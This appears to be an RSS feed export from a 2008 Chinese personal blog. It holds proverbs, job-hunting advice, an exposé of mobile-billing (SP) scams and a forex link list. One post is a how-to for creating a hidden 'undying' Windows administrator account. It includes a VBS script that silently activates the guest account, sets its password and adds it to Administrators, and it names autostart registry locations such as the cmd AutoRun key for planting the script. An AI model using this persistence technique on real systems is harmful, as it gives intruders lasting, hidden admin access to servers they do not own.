有钱堪出众，无衣懒出门。
为官须作相，及第必争先。
苗从地发，树向枝分。
父子和而家不退，兄弟和而家不分。
官有正条，民有和约。
闲时不烧香，急时抱佛脚。
幸生太平无事日，恐逢年老不多时。
国乱思良将，家贫思贤妻。
池塘积水须防旱，田地勤耕足养家。
根深不怕风摇动，树正无愁月影斜。
奉劝君子，各宜守己。
只此程式，万无一失。]]> http://www.wowuyu.com/default.asp?id=125 <![CDATA[建立不死帐号关键部分以及详细过程]]> 无语 http://www.wowuyu.com/ web@wowuyu.com 2008-11-12T13:33:10+08:00 2008-11-12T13:33:10+08:00
1. 什么是不死帐号? 不死帐号就是给系统添加的管理员权限的帐号(当然没有管理员权限的也可以,不过就失去意义了),这些帐号在删除或者停用以后,当你重启服务器,或者执行了相应的操作,这些帐号又重新出现,而却具有管理员权限.不要想的很复杂,原理很简单,在系统自动执行的路径下面加上了添加帐号的脚本,如果删除掉这些脚本,帐号就不会自动添加了,不要被什么不死帐号迷惑了,没那么夸张...

2. 怎么添加上去呢? 流程如下: 建立个帐号--增加管理员权限--隐藏帐号--编写添加帐号的脚本--在各个自启动执行的地方放一份.其实就那么多,只是在各个步骤上,大同小异而已.比如guest帐号,我们给他激活,那么我们就只需要激活--增加管理员权限.这些涉及到"帐号克隆" ,去百度搜索下,很多的. 克隆好帐号以后,编写简单的vbs脚本,执行这个脚本,就可以增加管理员帐号了:
引用内容 引用内容
dim wsh
set wsh=createobject("wscript.shell")
wsh.run "net user guest /active:yes",0 （激活guest账号）
wsh.run "net user guest hxhack",0 （修改guest密码为hxhack）
wsh.run "net localgroup administrators guest /add",0 (添加guest到管理组)

然后把这个.txt文件的扩展名改为 .vbs即可

再或者用注册表法,把添加的帐号,导出注册表,生成类似1.reg的文件.
引用内容 引用内容

dim wsh
set wsh=createobject("wscript.shell")
wsh.run "regedit /s %systemroot%\system32\22.reg",0 （Reg 要写绝对路径）
wsh.run "regedit /s %systemroot%\system32\23.reg",0

特别注意,这里的reg要写绝对路径,要不执行不了.

写好脚本,执行这些脚本,就能添加管理员帐号了,所谓不死,就是能自动执行脚本,添加帐号,所以只要在自动启动的地方添加即可,比如开机关机脚本,AUTOEXEC.bat,开机自动运行,command processor,explorer shell等等,条条大路通罗马,你可以写vbs脚本,也可以写bat脚本,更可以写成exe,那就成经常看到的不死帐号工具,其实也就这么几个命令,图形化了而已,重要的是弄懂原理.

经常放脚本的几个地方:
开机 关机脚本  gpedit.msc就可以看到
cmd的自动运行,打开注册表修改注册标里面的：
hkey_local_machine\software\microsoft\command processor\autorun
让cmd跟脚本关联,只要用到cmd的就执行脚本,也就添加了帐号,那是不是不死了?

3.删除不死帐号的方法很简单,下一个autoruns的工具,找到所有能自动运行的地方,清除这些脚本,如果不能自动运行了,要是帐号还不死,那你见鬼了.
]]> http://www.wowuyu.com/default.asp?id=124 <![CDATA[零点随笔加点找工作的经历]]> 无语 http://www.wowuyu.com/ web@wowuyu.com 2008-11-05T00:20:37+08:00 2008-11-05T00:20:37+08:00
好多公司招人的时候,总是拖拖拉拉,办事没效率,要么就是看上去很小,要么就很怪,所以现在骗子横行,前不久报纸上说200大学生被骗了,我就很纳闷,还大学生呢,其他人就更容易上当了,找工作被骗的事情,多不胜数...可能是现在工作难找,骗子抓住了求职者的心态,循循善诱,上钩的多,其实这些东西的确是可以避免,如果多动脑经的人,必然能发现矛盾,我面试过好多人,也被人面试好多次.怎么去好好表现自己,有人说的很多了,老说没意思,我就想说找准公司,也是非常重要的.

1.我的感觉就是有些问题公司回答你模棱两可的,那就不要去,因为一般的就会告诉你,或者给你说这个不能说.
2.办事效率比较低的公司,我会觉得他体制不大行,那样的公司也没前途,不要老看新闻说有些公司为了考验一个人,会观察你好久什么的,那些是电视才有的,就算有,也会适可而止,不会一而再再而三的考验你,你应该能分辨出来吧?
3.感觉很烂的,那些地方烂,老板小气的公司也不要去,一想开公司投资三个月就想回本的公司也没前途,除非是跟你比较好的,想自己创业除外,一般新开的公司最少准备一到两年不赚钱,积累基础资料跟客户,后面才有可能发展.
4.那些条件都很好的,什么都很好的,感觉很顺的公司,也不要去,天上不会掉馅饼,就算掉了,你也要相信不会砸到你.前几天看一个学院招生,是什么学院,说国家颁发正规文凭,毕业本科文凭还包分配工作,不满意的还可以换,你分析先现在市场的形式,有这么好的事情,还需要做广告么?
5.再就是那种,还没上班就要交钱的,再好的公司我也不去,很烦这种搞法.当然了用功体检这些除外,因为有些行业来说,是必须的.

上当的永远是贪嘴的.任何事情都要淡定,呵呵,就唠叨这么多,睡觉.]]> http://www.wowuyu.com/default.asp?id=123 <![CDATA[(转)关于什么是SP以及防止手机收费陷阱]]> 无语 http://www.wowuyu.com/ web@wowuyu.com 2008-10-24T15:46:41+08:00 2008-10-24T15:46:41+08:00 SP是啥？意思是“服务提供商”。瞧这名字，还起得多么动听，在这个IT时代，好像多么专业的一副样子。实质它是IT时代的畸型儿，畸型肥胖，且见不得光。
它不是独立的，它是寄生类的。它必须依靠运营商才能活下去。因为SP这个行业就是运营商打造出来的。运营商又是啥？中国移动，中国联通，中国电信，中国网通。其中跟我们的手机有关的是中国移动和中国联通。它们就是江湖中的两个大佬。其中跟S60手机最相关的，莫过于中国移动，因为里面很多基于cmwap的软件，用的就是中国移动的GPRS网络。
用官方的话是这样描述SP和运营商的关系的：运营商提供网络，SP提供服务和产品给终端用户。运营商通过收话费的形式为SP的产品服务进行代收费，然后与SP进行结算划分。
我 KAO，说的真是文绉绉的！咱用市井的话说的白一点吧：运营商想赚点小金库，光凭打电话和发短信还不够，还得想办法从用户身上多捞点钱。可是它自己不敢直接弄啊，因为它是国家信产部直接管辖的企业，还懂得要“形象”啊（我呸！），那怎么弄呢？那它就搞出一个“移动梦网”的游戏规划，然后找来一帮SP公司，对它们说：我这有个网络，你们在上面搞产品，我帮你们收费，到时我们一起分赃。于是，SP利用这个网络大搞特搞，黄赌毒抢骗所有黑道手段俱全，没出事的话，运营商就从中分钱，如果出了事，SP就去顶这个黑锅，而运营商还是道貌岸然的样子：某些SP违规，扰乱市场秩序，给以xxxx处罚，完全忘了这个SP 的这些行为给它分了多少钱！
你看了可能很惊讶：这简直就是黑道啊！
你说对了，这就是黑道。
这些抢骗黄赌毒，还有没有王法啊？有，信产部有压力，消费者协会有压力。于是运营商就在风头紧的时候杀几只鸡给猴看一看。看完散场了，接着再去干。消费者闹得再怎么凶，也不能把这一锅端掉。为啥呢？在江湖上混到大佬份上的，这些运营商们，难道没些门门道道？你以为简单的凭“法律”两个字就能搞他们一下？你们看到的，永远不过是冰山的一角。
这就是江湖，这就是SP。
【黑招之：SMS】
SMS，中文叫“短信息”。各位看官，这个短信息可不是你平时发短信给朋友的那个短信息啊，可是移动梦网下的一个损招啊！说白了是这样的：运营商分配一个服务号码给SP，SP就能用这个服务号搞钱。怎么搞？理论我不说，我举例说明，一看就明白：
① 运营商分配给SP一个服务号。比如6666。
② SP开始布置啦。首先不急着就用6666端号群发骗人短信，因为这毕竟有点漫无目的嘛。首先要搞到一批高质量的手机号作为诈骗目标。什么叫“高质量”呢？有如下特证：
被其他SP成功的骗过的。（较容易骗的蠢用户）
从来没有投诉过的。（比较麻木的用户）
话费余额比较多的。（这样才有足够的钱被抢啊）
这些号码可不是一般人能找得到的，得是运营商内部的人啊。因此，明白了吧？第一步要做的事就是要公关，贿赂运营商内部人员，然后定期拿到这些“高质量”的号码！
好了，号码到手喽。下一步做啥呢？开始发诱骗短信给他们吗？不，不急，还有事要做呢！由于自知理亏，所以还没有去做，就先想好后路。分两手，一手贿赂运营商负责投诉处理的人员，如果出现用户大规模投诉，想办法镇住。一手自己的售后人员想好各种可能被受害用户投诉的可能性，一一见招拆招，做到自圆其说。
好，善后工作也妥当了，该发了吧！急啥子哟！还有重要的事没做呢。要发东西给这些用户，但是要发啥东西，这些人才会有更多的人会回复信息，从而骗他们入局呢？这就是要想一些骗人技术高超的内容编成短信，专门想这些的人，在SP中的职务叫做“市场策划”，他们想好了，就会叫管技术的人去照单发送了。一般来说，他们这些搞市场策划的人智商高啊，光是想让一般人误解并回复的东西，就有成千上万条，我这里没办法一一列举啦，只有一些大家常见的，经典的：
摸仿朋友类。“我是XXX，好久不见啦，你现在怎么样”，你一不留神就回了个“你是谁啊”。色诱。如“夜幕下她半推半就，灯光下显示出绝顶的身材。你想享受她吗？还不马上回复“XXX”，赶快呦！”这个是男人就很容易中招啊。
好奇心。去年有一个在全国各地流行的诱骗信息“女人身上有一个地方是爸爸能碰两次，妈妈能碰两次，男朋友能碰一次，老公不能碰。发X到XXX获取答案”的迷语，这些东西易引起人好奇心，一发过去即时中招。
装神弄鬼。说“你的朋友XXX在网上给你留言，紧急度高。请回复XX查看，回复XXX删除”这样的也见多了，不管回啥都一样中招（还有太多，但都类似，都是那帮人想出来的）
⑤ 万事俱备，发！有些是直接用服务号6666发，有些是用手机号码虚拟来发。花样不少。
⑥ 就像撒了网一样，等鱼儿上钩。然后到了月底跟移动一分赃，就这么轻轻松松一般来说就能分个几百万回来，少的也有几十万。这钱可真好赚啊！
分析：SP的搞公关搞其他，我们左右不了，那是纪检部门的事情。对我们用户来说，就是可能会收到他们发下来的那些精心策划好的骗人诱饵短信。反正是花样百出，唯一的目的就是要你回复。按照移动梦网短信类的规则，只要你有主动发短信到SP的服务号的记录，就算你开通了业务，就可堂皇地扣你的月租费了，而且你不知情的话，会一直扣下去，扣到天荒地老，扣到你手机欠费。到时你就跳进黄河也洗不清了。解决方法如下：
不要相信任何你不认识的号码发出来的短信。
不要回复任何非你的朋友发过来的短信。包括1860的短信，看一看即可，千万莫回复。
S60手机用户，有条件的，安装短信过滤器，把所有非名片夹的号码设为黑名单，一律拒收，眼不见，心不烦。
我手头有全国各地SP的服务号码，但是收集要时间，我过段时间会上传过来，大家一律加入短信接收黑名单即可。
要常查有没有梦网扣费记录。查的途径有二，一是打1860，至少每月打一次。二是通过互联网查，上移动梦网主页： http://www.monternet.com/moneditor/cs/index.html，在上面注册你的手机号，登录后即可查这些东西。
查到有短信的扣费记录后。打电话给1860讨说法，向狠里说。如果有条件有时间，就要求大额赔偿，如赔精神损失费多少万等，并告之将采取法律行动和媒体联合行动，你最好就说自己是律师和媒体。当然，这样玩要你自己够时间，且与SP有深仇大恨。
如果没时间这样玩，至少要求2倍的赔款。这是一定可以得到的，注意，不要只要求本月的，是要要求从开通到本月若干个月总额的2倍，咬定不放松。这个是肯定到手的，因为征策是这样滴。
要么2倍，要么大额。千万不要只是退订和退费。退订就只是帮你取消，能这么便宜它们？退费也就只是原价退回，能这么便宜他们？想想受苦的几十万无辜用户！为他们报仇啊！
【黑招之：MMS】
MMS就是彩信了。彩信怎么黑你的？这个其实跟短信是一回事，彩信嘛，不就是支持图片和声音的短信，方式跟上面的是一样的，只是有可能拿图片和声音来诱惑你。
处理方法也跟短信一样。它与短信的区别只是技术上的。
【黑招之：WAP】
WAP，这个对S60玩上网的兄弟可算是了解了，因此危险最近。
首先，移动公司官方的WAP模式是有一个移动梦网的网站，大家在设GRPS接入点时的那个URL就是了： http://wap.monternet.com ，大家用自带的浏览器就能登录进去，打开就是一些业务的列表。内容其实十分单一且无聊，不外乎就是图片，铃声，游戏的下载，再就是社区，新闻。无甚新意。要大家主动进去订制业务的在座估计不多，因为就那些破图片铃声游戏，我们上或一个别的什么手机论坛上的不比这里的精彩的多？而且是完全免费，复制入MMC 卡就好了。而且运营商对WAP管得比较严，在技术上，你订制一个业务时，在进入时，会有一条提示信息，告诉你马上就要开通什么什么业务了，要多少钱，你同不同意。这个信息对我们是好事，至少做到明白消费，但对SP就是眼中钉了。
怎么能让用户绕开这个鬼门关悄悄进村，然后悄悄抢钱骗钱呢？真是事在人为啊，买通运营商的技术员，开发了一个BUG的接口程序，SP的WAP业务只要在编程时把这段程序加进去，就会绕开这段信息。用户一点即入，马上扣钱，可谓神不知鬼不觉！这段程序可值钱了，在大的SP论坛上叫卖几万块钱！但为了更暴利，SP们都买下了。
然后怎么操作呢？还是用短信的方式，发一条带有网址的短信给你，很多用户一不小心就点开了这条链接，就进入了WAP网页的界面，没有提示信息。这时SP偷笑了，又一个傻子进来了，这个月的收入又加多一个基数。……
我们能做的，基本就是在移动梦网的首页上，进“我的梦网”这个项目，里面列举了你开通的业务。如果不是你主动开通的，就要按短信投诉的方法去搞运营商和SP，一定要割他们的一块肉下来！
对于我们S60用户。WAP的危险还不止于此。因为S60上有利用WAP的GPRS接入点进行的一些软件，这些就是危险点！这些是比较好质量的诱骗，比起发短信发一条网址让人误点进入，更显得让用户主动进来。比如一个联网游戏，一个聊天器（包括PICA，QQ.SIS），一个掌讯通。都是这种类型，只不过初期他们都是同一种方式：免费。开始的确不收你的钱，让你沉迷，让你依赖。等到用户数多了，SP就在后面默默地把这个业务改为商业收费模式，然后扣钱开始了。查觉了的，自然就删除并退订，不查觉的，就一直让它扣下去，让大伙儿来养活这个软件后面的SP公司。
这里，我无意针对PICA或三界传说，掌讯通之类的软件。现在这些软件也许的确还是免费的，但钱财动人心，一旦什么时候开始收费，都是未知数。所以，在坐各位不要用“我用了很久了，一直都是免费 ”这个理由来质疑我，因为商业模式的启动时间你未知，而且启动的模式你也未知：他不是一起扣，是一批批扣，有先后扣，或者有一些不是“高质量”的用户他们就不扣。因此，你不要用你个人的免费来为他们说话。利用运营商网络进行商业模式的SP，没有一个是干净的。
我只能祈求：PICA，掌讯通，能一直免费下去。我试目看着：你们能坚持多久。
黑招之：IVR】
IVR就是语音服务。有点像以前过街老鼠的“声讯台”。打电话过去，按它的提示去按一些键，听不同的内容。当然，也都是些无聊的东西。
它怎么骗你呢？也好简单。要么发短信诱骗你，说我是XXX朋友，手机丢了，现在用一个临时号码XXXXXX（实质上就是他们的IVR服务号），请马上打给我，有急事。你一迷糊就打过去了，一打就收钱了。SP就这么简单。更黑的是：用一个号码打你的电话，打一声就挂，当你发现有未接来电时，回电看是谁吧，一回就中招。
简单的方式，黑到家的模式：因为IVR很贵，打一分钟最高可以是几块钱。打一个下来就几十块，几百块。黑啊，那是“相当的”黑啊。
【现阶段一些看起来堂而皇之的黑招】
跟电视台，广播台狼狈为奸。电视台电台，大家都信任，一信任就给SP利用了。比如“超级女生”，大家被骗的去疯投票，投一票一块钱，只收一块也就算了。可是 SP会放弃这个好机会吗？不会！你投完票了，就会没完没了的收到超女的信息，你郁闷了：我只是投票啊，为啥这越来越多了？这不费话嘛！你主动投票就等于开通了他们的短信业务，不就发给你了，发一条就收一块钱啊，我还不向死里发啊？超级女生的幕后黑SP就叫做“掌上灵通”，大家用google搜一下就知。就靠这个投票阴招，收了几千万啊！
中央台，春晚。那个给熊猫起名的，也要投票，看了么？投了么？投了你也中招了，不信你去查查。
看足球？还发短信猜输胜？别说了，肯定中招了，打电话查吧你！
啊？参加李咏的幸运六加一了？发了短信报名了？肯定中招，不信查去！
电视台手机发短信点歌？或者是打XXXX电话按键去点歌或参加什么电视游戏了？呵呵，你百分之百中招了。去看吧！
有上网吧？有没有看到好多手机图片什么之类的？点一下，然后输入手机号码，就能发送过去？玩了吗？玩了？那你中招了。
网上有些交友网，注册时要求输入手机号码，然后返回一个密码给你。这样的注册程序你用过吗？用过？中招！跟手机短信搭上边的，有啥不中招啊？
最黑的（之一）：与运营商的核心人员内外勾结。那你基本申诉无门了，所有那些技术上限制SP的东西，都会给内鬼拿掉。比如，你本来订了一个WAP的业务，是能在“我的梦网”列表中看到的，如果有内鬼帮助，那么你被开通了业务，也查不到列表。可谓死不瞑目！最黑的（之二）：如果啥都要你回复了信息他才能扣你的钱，总是有点限制。如果有了内鬼，他们就会用一种“捆绑”的方法，不管你有没有发信息开通业务。在后面就偷偷为你开通并扣钱，你是完全无知无觉的。前提是，你是个“高质量”的蠢用户
也许，有人会说。这些是光明正大设计了一些节目来给用户玩，用户参加玩了，收费。应该不算黑吧？原理本来应该是这样，但事实却并不像你想的那样单纯。比如，我去游戏厅打游戏，投一个币打一盘。这收我的钱我是没话说。可是我只打了一盘，就要每个月都要收我N个币，不管我有没有玩，只要玩了第一次，后面就不停地收钱。这样，你觉得还不黑？那什么才黑呢？你告诉我？
本来，移动梦网可做一些正规的服务大众的好东西的，比如查一查高考成绩啦这些之类的，包括超级女生投票，都算是好点子。关键是收钱这个环节，正规的就应是用一次收一次，不得多收。但是SP不干啊，这样收入就没有暴利啊，因此，他们的重点就在于吸引你用第一次，用了第一次就算是沾了腥，洗也洗不掉，一直扣钱下去，这样实现了他们的暴利。
大家现在用着S60，好像都很关注3G吧？出于国家信息产业发展，我关注。但出于我个人的利益，我一点也不关注。3G就是运营商玩的东西，现在的网络叫 2.5G，这个2.5G 时代的暴利差不多过去了，榨取用户榨得差不多只余下渣了。只有再催生出一个新的时代，才会有更多的机会榨取用户。因此，SP内部是这样说的：如何迎接3G 这座“金山”。。。。。。各位苦难的用户啊，在3G到来之前，你做好与SP斗争的准备了吗？
让我一句话来点评运营商：监守自盗。自己定的规则，自己执行，自己作监督者角色。这样还有公平可言吗？最佳的当然是三权分立，移动自己做执行者，但是规则的制定者和监督者需要分开其他的不同单位来操作，互相制恒，才能解决这种东西。但是移动愿意这样束手就擒吗？愿意放弃这巨额的蛋糕吗？信产部可是跟它穿一条裤子的呀！~
看到了吧？SP，很简单，很黑，很赚钱。我已经不再搞这个了。所有这些经历，作为大家的护身符吧，好好看好你的手机。不要相信商业里的任何东西，何况SP是商业圈中最没有良心的一族。各位好自为之吧！]]> http://www.wowuyu.com/default.asp?id=122 <![CDATA[外汇名站导航 外汇分类网址]]> 无语 http://www.wowuyu.com/ web@wowuyu.com 2008-08-27T15:44:37+08:00 2008-08-27T15:44:37+08:00 外汇名站导航   ·环球外汇网 ·外汇通 ·DailyFx ·外汇宝 ·理财18 ·淘金网 ·汇博外汇 ·网易外汇 ·新浪外汇 ·搜狐外汇 ·雅虎外汇 ·MSN外汇 ·腾讯外汇 ·百度外汇 ·金融界外汇 ·东方财富网 ·和讯外汇 ·中金外汇 ·中国经济网 ·中国外汇网 ·外汇财经网 ·华尔街日报 ·新华社 ·路透社 ·FT中文 ·外汇超市 ·CCTV经济 ·全景网外汇

 

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